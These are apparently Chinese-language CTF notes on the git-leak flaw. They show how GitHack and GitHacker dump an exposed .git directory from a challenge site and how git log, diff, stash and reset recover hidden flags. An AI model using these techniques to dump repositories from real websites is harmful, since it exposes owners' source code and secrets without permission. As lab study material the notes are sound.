git泄露
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
工具GitHack使用:python2 GitHack.py URL地址/.git/
git命令:
git log #查看历史记录
解释说明:
remove flag 表示当前版本
add flag 表示这次提交的版本
init 表示初始的版本
使用git diff命令可以对比提交版本,对比这三个版本发现在add flag中获得此题flag
git diff <file> # 比较当前文件和暂存区文件差异 git diff
git diff <id1><id1><id2> # 比较两次提交之间的差异
git diff <branch1> <branch2> # 在两个分支之间比较
git diff --staged # 比较暂存区和版本库差异
git diff --cached # 比较暂存区和版本库差异
git diff --stat # 仅仅比较统计信息
实现:git diff 4f116709933b4392a3a3ec62a6d139112104a6d3
stash
前面的操作和log一样
git diff命令之后发现文件
使用:
git stash list //查看被隐藏的文件列表
git stash pop #恢复代码
git stash 保存当前工作进度,会把暂存区和工作区的改动保存起来
git stash save ‘hello world’ 使用save可以添加一些注释
git stash list 显示保存进度的列表
git stash pop 恢复最新进度到工作区,默认将工作、暂存区的改动都恢复到工作区
git stash pop --index 恢复最新进度到工作区和暂存区,尝试将暂存区的改动恢复到暂存区
git stash pop stash@{1} 恢复指定的进度到工作区
git stash apply [–index] [stash_id]
将堆栈中的内容应用到当前目录,该命令不会将内容从堆栈中删除
git stash drop [stash_id]
删除一个存储的进度。如果不指定stash_id,则默认删除最新的存储进度
git stash clear 删除所有存储的进度
git stash show 查看堆栈中最新保存的stash和当前目录的差异
git stash branch 在最新的stash创建分支
注意: 使用 git stash pop 命令恢复进度后,当前进度会被删除
index
使用git log还原
之后
git ls-files --stage #查看index file 文件
使用cat 查看文件
注:也直接可以使用 git diff 得到
GitHacker的使用
githacker --url http://aa59014b-45fe-4bb2-b0a5-f3e6e5e91929.node4.buuoj.cn:81/.git/ --output-folder ‘/root/桌面/test’
注:–output-folder (将得到的文件存放在那个文件夹里面)
githacker --url http://aa59014b-45fe-4bb2-b0a5-f3e6e5e91929.node4.buuoj.cn:81/.git/ --output-folder '/root/桌面/test'
注:--output-folder (将得到的文件存放在那个文件夹里面)
先进入到得到文件的目录
git log --reflog 注:如果得到的文件内容不全,使用它之后
得到:commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的,从第一个一个试
然后:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容